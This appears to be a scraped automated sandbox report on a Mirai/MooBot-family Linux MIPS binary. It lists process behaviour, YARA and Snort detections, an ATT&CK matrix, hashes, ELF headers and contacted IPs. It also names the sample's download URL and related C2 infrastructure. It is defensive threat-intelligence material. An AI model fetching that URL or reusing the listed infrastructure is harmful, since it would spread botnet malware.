Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/135/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/3412/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/1371/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/262/cmdline	Jump to behavior

Source: skyljne.mpsl.elf, 5478.1.000055c015115000.000055c01519c000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: skyljne.mpsl.elf, 5478.1.000055c015115000.000055c01519c000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: skyljne.mpsl.elf, 5478.1.00007ffe6d874000.00007ffe6d895000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/skyljne.mpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/skyljne.mpsl.elf
Source: skyljne.mpsl.elf, 5478.1.00007ffe6d874000.00007ffe6d895000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Source: Yara match	File source: skyljne.mpsl.elf, type: SAMPLE
Source: Yara match	File source: 5478.1.00007ff660400000.00007ff66042a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: skyljne.mpsl.elf PID: 5478, type: MEMORYSTR

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	1 Scripting	Path Interception	Path Interception	1 Scripting	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	4 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Scheduled Transfer	2 Ingress Tool Transfer			Data Encrypted for Impact	Server	Gather Victim Network Information

Source: skyljne.mpsl.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5478.1.00007ff660400000.00007ff66042a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: skyljne.mpsl.elf PID: 5478, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source	Detection	Scanner	Label	Link
skyljne.mpsl.elf	63%	ReversingLabs	Linux.Trojan.Mirai
skyljne.mpsl.elf	65%	Virustotal		Browse
skyljne.mpsl.elf	100%	Avira	EXP/ELF.Mirai.Gen.Z.A

Source	Detection	Scanner	Label	Link
http://103.178.235.18/skyljne.mpsl;	100%	Avira URL Cloud	malware
http://103.178.235.18/skyljne.mpsl;	0%	Virustotal		Browse

IP	Domain	Country	ASN	ASN Name	Malicious
41.85.32.197	unknown	South Africa	22355	FROGFOOTZA	false
131.106.230.173	unknown	United States	6079	RCN-ASUS	false
96.101.58.158	unknown	United States	7922	COMCAST-7922US	false
18.141.1.121	unknown	United States	16509	AMAZON-02US	false
157.215.239.52	unknown	United States	4704	SANNETRakutenMobileIncJP	false
65.113.155.25	unknown	United States	1742	HARVARD-UNIVUS	false
122.124.101.112	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
223.182.54.172	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
41.139.7.11	unknown	Ghana	35091	TELEDATA-ASTeledataGhanaIL	false
157.240.49.28	unknown	United States	32934	FACEBOOKUS	false
140.233.180.168	unknown	United States	14550	MIDDLEBURY-COLLEGEUS	false
107.151.141.70	unknown	United States	21859	ZNETUS	false
139.149.185.86	unknown	United Kingdom	17071	UBSW-STAMFORDUS	false
41.225.142.125	unknown	Tunisia	37671	GLOBALNET-ASTN	false
63.235.58.143	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
191.75.132.14	unknown	Colombia	26611	COMCELSACO	false
81.106.159.96	unknown	United Kingdom	5089	NTLGB	false
62.33.186.77	unknown	Russian Federation	20485	TRANSTELECOMMoscowRussiaRU	false
108.30.45.45	unknown	United States	701	UUNETUS	false
41.3.103.233	unknown	South Africa	29975	VODACOM-ZA	false
157.134.164.236	unknown	United States	600	OARNET-ASUS	false
41.184.118.227	unknown	Nigeria	29091	IPNXngNG	false
157.151.4.250	unknown	United States	23342	UNITEDLAYERUS	false
191.241.127.117	unknown	Brazil	263034	AknaTecnologiadaInformacaoLtdaBR	false
157.96.7.176	unknown	United Kingdom	4713	OCNNTTCommunicationsCorporationJP	false
167.68.149.226	unknown	United States	4583	WESTPUB-AUS	false
132.212.138.232	unknown	Canada	376	RISQ-ASCA	false
102.31.81.199	unknown	Tunisia	5438	ATI-TN	false
202.170.110.0	unknown	Japan	17939	MCN-NET01miyazakicabletelevisionnetworkCoLTDJP	false
203.221.37.191	unknown	Australia	9942	COMINDICO-APSOULConvergedCommunicationsAustraliaAU	false
141.39.15.41	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
197.136.200.34	unknown	Kenya	36914	KENET-ASKE	false
41.163.216.195	unknown	South Africa	36937	Neotel-ASZA	false
157.121.89.92	unknown	United States	2514	INFOSPHERENTTPCCommunicationsIncJP	false
87.180.39.114	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
202.155.31.233	unknown	Indonesia	4795	INDOSATM2-IDINDOSATM2ASNID	false
159.136.6.240	unknown	United States	11517	BLUE-CROSS-AND-BLUE-SHIELD-OF-MINNESOTAUS	false
23.73.84.206	unknown	United States	16625	AKAMAI-ASUS	false
41.25.211.115	unknown	South Africa	36994	Vodacom-VBZA	false
202.159.5.4	unknown	Indonesia	9340	INDONET-AS-APINDOInternetPTID	false
157.6.53.159	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
126.184.84.156	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
157.247.91.97	unknown	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
109.10.53.145	unknown	France	15557	LDCOMNETFR	false
1.19.209.73	unknown	Korea Republic of	45996	GNJ-AS-KRDAOUTECHNOLOGYKR	false
197.117.249.140	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.213.165.219	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
67.210.158.111	unknown	United States	17306	RISE-BROADBANDUS	false
41.22.130.113	unknown	South Africa	29975	VODACOM-ZA	false
174.20.119.50	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
124.212.99.26	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
131.186.190.47	unknown	United States	33517	DYNDNSUS	false
75.36.2.107	unknown	United States	7018	ATT-INTERNET4US	false
157.199.162.123	unknown	United States	3356	LEVEL3US	false
197.51.4.217	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.8.11.149	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
157.9.186.13	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
165.63.220.121	unknown	Zambia	37154	ZAMTELZM	false
96.159.168.214	unknown	United States	7922	COMCAST-7922US	false
75.203.112.75	unknown	United States	22394	CELLCOUS	false
142.157.163.11	unknown	Canada	15318	MCGILL-ASCA	false
89.94.101.145	unknown	France	5410	BOUYGTEL-ISPFR	false
121.177.149.170	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
41.53.197.160	unknown	South Africa	37168	CELL-CZA	false
32.184.254.1	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
89.53.182.126	unknown	Germany	5430	FREENETDEfreenetDatenkommunikationsGmbHDE	false
85.193.52.79	unknown	Czech Republic	5610	O2-CZECH-REPUBLICCZ	false
41.101.160.238	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.5.249.192	unknown	Tunisia	5438	ATI-TN	false
192.109.105.124	unknown	Germany	49312	ASMESSAGESOLUTIONSMessageSolutionGmbHDE	false
197.185.6.22	unknown	South Africa	37105	NEOLOGY-ASZA	false
166.231.183.31	unknown	United States	6614	USCC-ASNUS	false
197.248.91.240	unknown	Kenya	37061	SafaricomKE	false
72.163.69.93	unknown	United States	109	CISCOSYSTEMSUS	false
49.116.229.237	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
144.185.40.110	unknown	United States	19773	MOTOROLAUS	false
196.102.212.202	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
146.135.154.154	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
197.146.254.217	unknown	Morocco	36884	MAROCCONNECTMA	false
206.24.110.54	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
197.77.185.7	unknown	South Africa	16637	MTNNS-ASZA	false
157.121.153.113	unknown	United States	2514	INFOSPHERENTTPCCommunicationsIncJP	false
66.55.249.232	unknown	United States	7029	WINDSTREAMUS	false
157.138.89.4	unknown	Italy	137	ASGARRConsortiumGARREU	false
150.35.120.25	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
121.135.157.160	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
54.81.242.18	unknown	United States	14618	AMAZON-AESUS	false
197.143.249.21	unknown	Algeria	36891	ICOSNET-ASDZ	false
37.229.104.48	unknown	Ukraine	15895	KSNET-ASUA	false
57.219.213.185	unknown	Belgium	2686	ATGS-MMD-ASUS	false
63.201.18.104	unknown	United States	7018	ATT-INTERNET4US	false
41.97.193.196	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.182.170.97	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.148.201.147	unknown	South Africa	5713	SAIX-NETZA	false
4.234.132.187	unknown	United States	3356	LEVEL3US	false
197.15.15.237	unknown	Tunisia	37671	GLOBALNET-ASTN	false
102.134.69.76	unknown	South Africa	328337	VivaTelecoms-ASZA	false
197.44.77.135	unknown	Egypt	8452	TE-ASTE-ASEG	false
194.226.31.82	unknown	Russian Federation	48035	IRKUT_IAP-ASBranchoftheIrkutCorporation-IAZRU	false
208.90.178.146	unknown	United States	17385	ORBITELUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.85.32.197	ux1FULq2G8	Get hash	malicious	Mirai	Browse
	Tsunami.x86	Get hash	malicious	Mirai	Browse
	aTAOYz1rEW	Get hash	malicious	Unknown	Browse
41.139.7.11	l8L7IWRZSg.elf	Get hash	malicious	Mirai	Browse
	skid.arm5.elf	Get hash	malicious	Mirai, Moobot	Browse
	oN8nC8kDlL.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
18.141.1.121	sora.arm.elf	Get hash	malicious	Mirai	Browse
157.215.239.52	ev8yJAPSv0.elf	Get hash	malicious	Mirai	Browse
	AUIoXxgku9.elf	Get hash	malicious	Mirai	Browse
	XgPiN0TuWP	Get hash	malicious	Mirai	Browse
41.3.103.233	DMobFlnC35.elf	Get hash	malicious	Mirai, Moobot	Browse
	to8JPU7Qkp.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	K1l26z8zaL.elf	Get hash	malicious	Mirai, Moobot	Browse
41.225.142.125	a61xSJtZrA.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	3AnYui60gb.elf	Get hash	malicious	Mirai, Moobot	Browse
	arm7	Get hash	malicious	Mirai	Browse
	HWixtKQtDD	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bngoc.skyljne.click	skyljne.arm7.elf	Get hash	malicious	Mirai	Browse	103.178.235.18
	skyljne.arm.elf	Get hash	malicious	Mirai	Browse	103.178.235.18
	skyljne.mips.elf	Get hash	malicious	Mirai	Browse	103.178.235.18
	skyljne.x86_64.elf	Get hash	malicious	Mirai	Browse	103.178.235.18
	djZgeYTfDi.elf	Get hash	malicious	Mirai	Browse	103.178.235.42
	h45m5ePaiQ.elf	Get hash	malicious	Mirai	Browse	103.178.235.42
	0RyvmNU9wC.elf	Get hash	malicious	Mirai	Browse	103.178.235.42
	skyljne.x86.elf	Get hash	malicious	Mirai	Browse	103.178.235.42
	skyljne.arm.elf	Get hash	malicious	Mirai	Browse	103.178.235.42
	skyljne.arm7.elf	Get hash	malicious	Mirai	Browse	103.178.235.42
	skyljne.arm5.elf	Get hash	malicious	Mirai	Browse	103.178.235.42
	skyljne.mpsl.elf	Get hash	malicious	Mirai	Browse	103.178.235.42
	skyljne.mips.elf	Get hash	malicious	Mirai	Browse	103.178.235.42
	skyljne.x86_64.elf	Get hash	malicious	Mirai	Browse	103.178.235.42
	skyljne.x86.elf	Get hash	malicious	Mirai	Browse	103.180.148.159
	skyljne.arm.elf	Get hash	malicious	Mirai	Browse	103.180.148.159
	skyljne.arm7.elf	Get hash	malicious	Mirai	Browse	103.180.148.159
	skyljne.arm5.elf	Get hash	malicious	Mirai	Browse	103.180.148.159
	skyljne.mpsl.elf	Get hash	malicious	Mirai	Browse	103.180.148.159
	skyljne.mips.elf	Get hash	malicious	Mirai	Browse	103.180.148.159

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RCN-ASUS	xWNwBMOsRx.elf	Get hash	malicious	Mirai, Moobot	Browse	209.122.170.247
	https://paisahero.com/download/grammarly/GrammarlyInstaller.ceswarRc6asdkgest8wdgliv70dxs04o2.msix	Get hash	malicious	Unknown	Browse	207.174.28.157
	e345rt.vbs	Get hash	malicious	Unknown	Browse	207.174.28.62
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	216.164.148.212
	zHGOFEJ1YX.elf	Get hash	malicious	Mirai, Moobot	Browse	168.91.218.183
	2jtSIERpll.elf	Get hash	malicious	Mirai	Browse	216.164.249.5
	7iPTzt0DvB.elf	Get hash	malicious	Mirai	Browse	216.164.166.86
	orange.exe	Get hash	malicious	Unknown	Browse	209.122.131.10
	apavlH3Bzb.elf	Get hash	malicious	Mirai	Browse	209.122.96.66
	skid.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	207.172.213.136
	sBuoig5ItF.elf	Get hash	malicious	Mirai	Browse	216.164.166.32
	AYSz5iu0AR.elf	Get hash	malicious	Mirai	Browse	207.38.233.174
	78bb5mOhF2.elf	Get hash	malicious	Mirai	Browse	209.6.7.231
	ecJKNzTEUg.elf	Get hash	malicious	Mirai	Browse	209.122.170.232
	wZmXHRCDPB.elf	Get hash	malicious	Unknown	Browse	216.164.178.19
	JeH8V3b7Bt.elf	Get hash	malicious	Mirai	Browse	216.15.86.100
	sOmYWENS1I.elf	Get hash	malicious	Mirai	Browse	209.6.190.201
	5taQFPMw1K.elf	Get hash	malicious	Mirai	Browse	209.122.245.57
	9hN6KUx5Gr.elf	Get hash	malicious	Mirai	Browse	65.78.89.216
	VmhoqgSl3j.elf	Get hash	malicious	Mirai	Browse	209.122.170.234
COMCAST-7922US	skyljne.arm7.elf	Get hash	malicious	Mirai	Browse	75.149.6.114
	skyljne.arm.elf	Get hash	malicious	Mirai	Browse	23.68.204.198
	skyljne.mips.elf	Get hash	malicious	Mirai	Browse	73.252.76.203
	skyljne.x86_64.elf	Get hash	malicious	Mirai	Browse	25.195.167.160
	x86-20240101-1250.elf	Get hash	malicious	Mirai	Browse	28.123.71.76
	arm7-20240101-1250.elf	Get hash	malicious	Mirai	Browse	29.145.40.9
	arm-20240101-1250.elf	Get hash	malicious	Mirai	Browse	26.182.117.90
	SecuriteInfo.com.Trojan.PWS.Panda.4379.16288.24123.exe	Get hash	malicious	Unknown	Browse	68.63.13.236
	HgKuDx1pOS.elf	Get hash	malicious	Mirai	Browse	74.25.112.8
	zY72q7d3Da.elf	Get hash	malicious	Mirai	Browse	76.110.59.245
	887OOdJ3rV.elf	Get hash	malicious	Mirai	Browse	73.3.3.107
	UhpB22Atau.elf	Get hash	malicious	Mirai	Browse	69.247.0.5
	s8M01kYpwz.elf	Get hash	malicious	Mirai	Browse	71.62.22.212
	b3astmode.x86.elf	Get hash	malicious	Mirai	Browse	73.116.116.153
	CekUIgRRBh.elf	Get hash	malicious	Mirai	Browse	76.16.15.99
	uQWBS46l1m.elf	Get hash	malicious	Mirai	Browse	174.175.184.118
	arm.elf	Get hash	malicious	Mirai	Browse	73.121.74.227
	x86.elf	Get hash	malicious	Mirai	Browse	73.84.104.170
	hoho.arm.elf	Get hash	malicious	Mirai	Browse	69.248.127.55
	hoho.x86.elf	Get hash	malicious	Mirai	Browse	173.162.79.208
FROGFOOTZA	5EHBWChBlT.elf	Get hash	malicious	Mirai	Browse	41.85.32.178
	arm7.elf	Get hash	malicious	Mirai	Browse	41.85.32.167
	mips-20231216-1225.elf	Get hash	malicious	Mirai	Browse	41.85.47.22
	arm5-20231215-1038.elf	Get hash	malicious	Mirai	Browse	41.85.12.1
	arm7-20231214-2132.elf	Get hash	malicious	Mirai	Browse	41.85.32.180
	x86-20231214-0334.elf	Get hash	malicious	Mirai	Browse	41.85.16.186
	x86_64.elf	Get hash	malicious	Mirai	Browse	41.85.32.155
	khXfv5zuf7.elf	Get hash	malicious	Mirai	Browse	41.85.32.176
	skid.x86.elf	Get hash	malicious	Mirai	Browse	41.85.32.182
	DA95yGHg7R.elf	Get hash	malicious	Mirai, Moobot	Browse	41.85.32.185
	f46hRyQrrk.elf	Get hash	malicious	Mirai	Browse	41.85.32.181
	4tAgJ9TkcL.elf	Get hash	malicious	Mirai	Browse	41.85.32.167
	skid.arm7-20230924-1126.elf	Get hash	malicious	Mirai	Browse	41.85.32.143
	hydro.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	41.85.32.178
	Hilix.arm.elf	Get hash	malicious	Mirai	Browse	41.85.32.193
	K7d9enp8cE.elf	Get hash	malicious	Mirai	Browse	41.85.32.192
	HILBjGCx2C.elf	Get hash	malicious	Mirai	Browse	41.85.32.184
	oFdYu6RyDI.elf	Get hash	malicious	Mirai, Moobot	Browse	41.85.32.158
	kD9CZE6okL.elf	Get hash	malicious	Mirai	Browse	41.85.32.157
	QDXi1OHfgf.elf	Get hash	malicious	Mirai, Moobot	Browse	41.85.32.187

Process:	/tmp/skyljne.mpsl.elf
File Type:	data
Category:	dropped
Size (bytes):	22
Entropy (8bit):	3.6978458230844122
Encrypted:	false
SSDEEP:	3:TgJIcFA3:Tgb63
MD5:	70186E534C1C60301C402735A3D271DE
SHA1:	375121169DBB1FF72EBA203B5E1B019292E0D097
SHA-256:	34F6F9366167A1DAD0B09CA0C822153804688245441E982C4D48228F472275C9
SHA-512:	2A68E7D7CD4EC0B2A6063AFDD21801558DF4001A0686F8A0D81B0E4EBF20BFBDE00183C59EFD34B3D28A03A1BF39506581FEC392DA8623B0118BD269E34F5CB8
Malicious:	false
Reputation:	low
Preview:	/tmp/skyljne.mpsl.elf.

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.189698806168953
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	skyljne.mpsl.elf
File size:	194'864 bytes
MD5:	72173f51e76c6ce800c496800c117394
SHA1:	72b7380f0e26383cc8d545d56d47f3ee6c60e174
SHA256:	00f0abcfcc0c4b64f259fffba3c99a0e56d612e0ff6bc048ffd41ccf8f2ccba1
SHA512:	c2b10a07950d59ba310c8ee01dcf6ac5459c26e488a7b76a295e3e70e2a24c080484699e2168ba6f0d231968f7d718ebf06db95ac6127e3f30dd41bc7a3ab3e0
SSDEEP:	1536:Fc90OhJ5V+hfifahv0Yb3RfIhnGZHofILBWp4ZWZcpeLMGzfECnOh98eHkVOSIlR:Fc90OhJifFtVIgLMp40LzvnFVXIKwx
TLSH:	C514D71AAF510FBBDCAFDD3706E90B0239CC655722A43B363674D528F54A50B4AE3C68
File Content Preview:	.ELF....................`.@.4...........4. ...(...............@...@...........................F...F..\..............Q.td...............................<.l.'!......'.......................<.k.'!... .........9'.. ........................<.k.'!...$........Z9

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	194304
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x25a20	0x0	0x6	AX	16
.fini	PROGBITS	0x425b40	0x25b40	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x425ba0	0x25ba0	0x3e20	0x0	0x2	A	16
.ctors	PROGBITS	0x4699c4	0x299c4	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x4699d0	0x299d0	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x4699dc	0x299dc	0xcc	0x0	0x3	WA	4
.data	PROGBITS	0x469ac0	0x29ac0	0x51f8	0x0	0x3	WA	32
.got	PROGBITS	0x46ecc0	0x2ecc0	0x9dc	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x46f69c	0x2f69c	0x50	0x0	0x10000003	WAp	4
.bss	NOBITS	0x46f6f0	0x2f69c	0x4758	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x12a2	0x2f69c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x2f69c	0x64	0x0	0x0		1

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report skyljne.mpsl.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.01nsxN (deleted)

/tmp/qemu-open.0ANJgN (deleted)

/tmp/qemu-open.0C3PfM (deleted)

/tmp/qemu-open.0CmGXP (deleted)

/tmp/qemu-open.0F3oGL (deleted)

/tmp/qemu-open.0Lcn5L (deleted)

/tmp/qemu-open.0SqFKM (deleted)

/tmp/qemu-open.0SybjL (deleted)

/tmp/qemu-open.0T0ySO (deleted)

/tmp/qemu-open.0UO7LM (deleted)

/tmp/qemu-open.0XNYzM (deleted)

/tmp/qemu-open.0m7qLO (deleted)

/tmp/qemu-open.0qUQ0L (deleted)

/tmp/qemu-open.0uwsWO (deleted)

/tmp/qemu-open.0wALhL (deleted)

/tmp/qemu-open.10NODP (deleted)

/tmp/qemu-open.16bdXL (deleted)

/tmp/qemu-open.17fQ3O (deleted)

/tmp/qemu-open.1KGyxP (deleted)

/tmp/qemu-open.1NhumN (deleted)

/tmp/qemu-open.1OQ4hN (deleted)

/tmp/qemu-open.1XyyMM (deleted)

/tmp/qemu-open.1b9VtN (deleted)

/tmp/qemu-open.1hkujP (deleted)

/tmp/qemu-open.1il3UP (deleted)

/tmp/qemu-open.1j5UNM (deleted)

/tmp/qemu-open.1jGVhO (deleted)

Linux Analysis Report
skyljne.mpsl.elf

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x299c0	0x299c0	5.5247	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x299c4	0x4699c4	0x4699c4	0x5cd8	0xa484	1.6714	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
